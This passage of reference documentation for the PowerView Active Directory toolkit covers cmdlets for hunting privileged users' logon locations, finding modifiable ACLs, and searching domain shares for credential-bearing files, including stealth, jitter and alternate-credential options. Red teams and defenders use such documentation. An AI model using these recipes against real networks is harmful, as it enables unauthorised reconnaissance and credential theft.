Search for any user events matching the user ‘john’ on the ‘secondary.dev.testlab.local’
domain controller using the alternate credential

### ————————– EXAMPLE 3 ————————–
`
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
`

Find user events on the primary.testlab.local system where the event matches
the IPAddress ‘192.168.52.200’ or ‘192.168.52.201’.

### ————————– EXAMPLE 4 ————————–
`
$cred = Get-Credential testlab\administrator
`

Find-DomainUserEvent -Delay 1 -Filter @{‘LogonGuid’=’b8458aa9-b36e-eaa1-96e0-4551000fdb19’; ‘TargetLogonId’ = ‘10238128’; ‘op’=’&’}

Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.

## PARAMETERS

### -ComputerName
Specifies an explicit computer name to retrieve events from.

```yaml
Type: String[]
Parameter Sets: ComputerName
Aliases: dnshostname, HostName, name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.

```yaml
Type: String
Parameter Sets: Domain
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The ‘op|operator|operation’ clause can have ‘&’, ‘|’, ‘and’, or ‘or’,
and is ‘or’ by default, meaning at least one clause matches instead of all.
See the exaples for usage.

```yaml
Type: Hashtable
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).

```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [DateTime]::Now.AddDays(-1)
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```

### -EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.

```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [DateTime]::Now
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```

### -MaxEvents
The maximum number of events (per host) to retrieve.
Default of 5000.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 5000
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserIdentity
Specifies one or more user identities to search for.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserSearchBase
Specifies the LDAP source to search through for target users.
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserGroupIdentity
Specifies a group identity to query for target users, defaults to ‘Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: GroupName, Group

Required: False
Position: Named
Default value: Domain Admins
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserAdminCount
Switch.
Search for users users with ‘(adminCount=1)’ (meaning are/were privileged).

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: AdminCount

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -CheckAccess
{{Fill CheckAccess Description}}

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -StopOnSuccess
Switch.
Stop hunting after finding after finding a target user.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LogonEvent

PowerView.ExplicitCredentialLogon

## NOTES

## RELATED LINKS

[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/)



            

          

      

      

    

  

    
      
          
            
  # Find-DomainUserLocation

## SYNOPSIS
Finds domain machines where specific users are logged into.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction

## SYNTAX

### UserGroupIdentity (Default)
```
Find-DomainUserLocation [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>] [-UserGroupIdentity <String[]>]
[-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Stealth] [-StealthSource <String>] [-Threads <Int32>]




```

### UserIdentity
```
Find-DomainUserLocation [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserIdentity <String[]>] [-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>]
[-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Stealth] [-StealthSource <String>] [-Threads <Int32>]




```

### ShowAll
```
Find-DomainUserLocation [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>] [-UserAdminCount]
[-UserAllowDelegation] [-CheckAccess] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>]
[-Jitter <Double>] [-ShowAll] [-Stealth] [-StealthSource <String>] [-Threads <Int32>]




```

## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default ‘Domain Admins’) with Get-DomainGroupMember.
Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed.
If -ShowAll is specified, all results are displayed instead of
the filtered set.
If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers.
If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-DomainUserLocation
`

Searches for ‘Domain Admins’ by enumerating every computer in the domain.

### ————————– EXAMPLE 2 ————————–
`
Find-DomainUserLocation -Stealth -ShowAll
`

Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.

### ————————– EXAMPLE 3 ————————–
`
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
`

Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred

Searches for domain admin locations in the testlab.local using the specified alternate credentials.

## PARAMETERS

### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to query for computers AND users, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerUnconstrained
Switch.
Search computer objects that have unconstrained delegation.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Unconstrained

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserIdentity
Specifies one or more user identities to search for.

```yaml
Type: String[]
Parameter Sets: UserIdentity
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserSearchBase
Specifies the LDAP source to search through for target users.
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserGroupIdentity
Specifies a group identity to query for target users, defaults to ‘Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.

```yaml
Type: String[]
Parameter Sets: UserGroupIdentity
Aliases: GroupName, Group

Required: False
Position: Named
Default value: Domain Admins
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserAdminCount
Switch.
Search for users users with ‘(adminCount=1)’ (meaning are/were privileged).

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: AdminCount

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserAllowDelegation
Switch.
Search for user accounts that are not marked as ‘sensitive and not allowed for delegation’.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: AllowDelegation

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -CheckAccess
Switch.
Check if the current user has local admin access to computers where target users are found.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -StopOnSuccess
Switch.
Stop hunting after finding after finding a target user.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -ShowAll
Switch.
Return all user location results instead of filtering based on target
specifications.

```yaml
Type: SwitchParameter
Parameter Sets: ShowAll
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Stealth
Switch.
Only enumerate sessions from connonly used target servers.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -StealthSource
The source of target servers to use, ‘DFS’ (distributed file servers),
‘DC’ (domain controllers), ‘File’ (file servers), or ‘All’ (the default).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: All
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.UserLocation

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-InterestingDomainAcl

## SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.

Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName

## SYNTAX

```
Find-InterestingDomainAcl [[-Domain] <String>] [-ResolveGUIDs] [-RightsFilter <String>] [-LDAPFilter <String>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is -1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal.
If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference information is appended to the output object.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-InterestingDomainAcl
`

Finds interesting object ACLS in the current domain.

### ————————– EXAMPLE 2 ————————–
`
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
`

Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ResolveGUIDs
Switch.
Resolve GUIDs to their display names.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -RightsFilter
{{Fill RightsFilter Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ACL

Custom PSObject with ACL entries.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-InterestingDomainShareFile

## SYNOPSIS
Searches for files matching specific criteria on readable shares
in the domain.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction

## SYNTAX

### FileSpecification (Default)
```
Find-InterestingDomainShareFile [[-ComputerName] <String[]>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>]
[-ComputerServicePack <String>] [-ComputerSiteName <String>] [-Include <String[]>] [-SharePath <String[]>]
[-ExcludedShares <String[]>] [-LastAccessTime <DateTime>] [-LastWriteTime <DateTime>]
[-CreationTime <DateTime>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>] [-Delay <Int32>] [-Jitter <Double>]
[-Threads <Int32>]




```

### OfficeDocs
```
Find-InterestingDomainShareFile [[-ComputerName] <String[]>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>]
[-ComputerServicePack <String>] [-ComputerSiteName <String>] [-SharePath <String[]>]
[-ExcludedShares <String[]>] [-OfficeDocs] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

### FreshEXEs
```
Find-InterestingDomainShareFile [[-ComputerName] <String[]>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>]
[-ComputerServicePack <String>] [-ComputerSiteName <String>] [-SharePath <String[]>]
[-ExcludedShares <String[]>] [-FreshEXEs] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>] [-Delay <Int32>] [-Jitter <Double>]
[-Threads <Int32>]




```

## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare.
It will then use Find-InterestingFile on each
readhable share, searching for files marching specific criteria.
If -Credential
is passed, then Invoke-UserImpersonation is used to impersonate the specified
user before enumeration, reverting after with Invoke-RevertToSelf.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-InterestingDomainShareFile
`

Finds ‘interesting’ files on the current domain.

### ————————– EXAMPLE 2 ————————–
`
Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
`

Finds ‘interesting’ files on readable shares on the specified systems.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘DEVdfm.a’, $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred

Searches interesting files in the testlab.local domain using the specified alternate credentials.

## PARAMETERS

### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Include
Only return files/folders that match the specified array of strings,
i.e.
@(.doc, .xls, .ppt)

```yaml
Type: String[]
Parameter Sets: FileSpecification
Aliases: SearchTerms, Terms

Required: False
Position: Named
Default value: @(’password’, ‘sensitive’, ‘admin’, ‘login’, ‘secret’, ‘unattend*.xml’, ‘.vmdk’, ‘*creds’, ‘credential’, ‘*.config’)
Accept pipeline input: False
Accept wildcard characters: False
```

### -SharePath
Specifies one or more specific share paths to search, in the form \\COMPUTERShare

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Share

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludedShares
Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: @(‘C$’, ‘Admin$’, ‘Print$’, ‘IPC$’)
Accept pipeline input: False
Accept wildcard characters: False
```

### -LastAccessTime
Only return files with a LastAccessTime greater than this date value.

```yaml
Type: DateTime
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LastWriteTime
Only return files with a LastWriteTime greater than this date value.

```yaml
Type: DateTime
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -CreationTime
Only return files with a CreationTime greater than this date value.

```yaml
Type: DateTime
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -OfficeDocs
Switch.
Search for office documents (.doc, .xls, .ppt)

```yaml
Type: SwitchParameter
Parameter Sets: OfficeDocs
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FreshEXEs
Switch.
Find .EXEs accessed within the last 7 days.

```yaml
Type: SwitchParameter
Parameter Sets: FreshEXEs
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
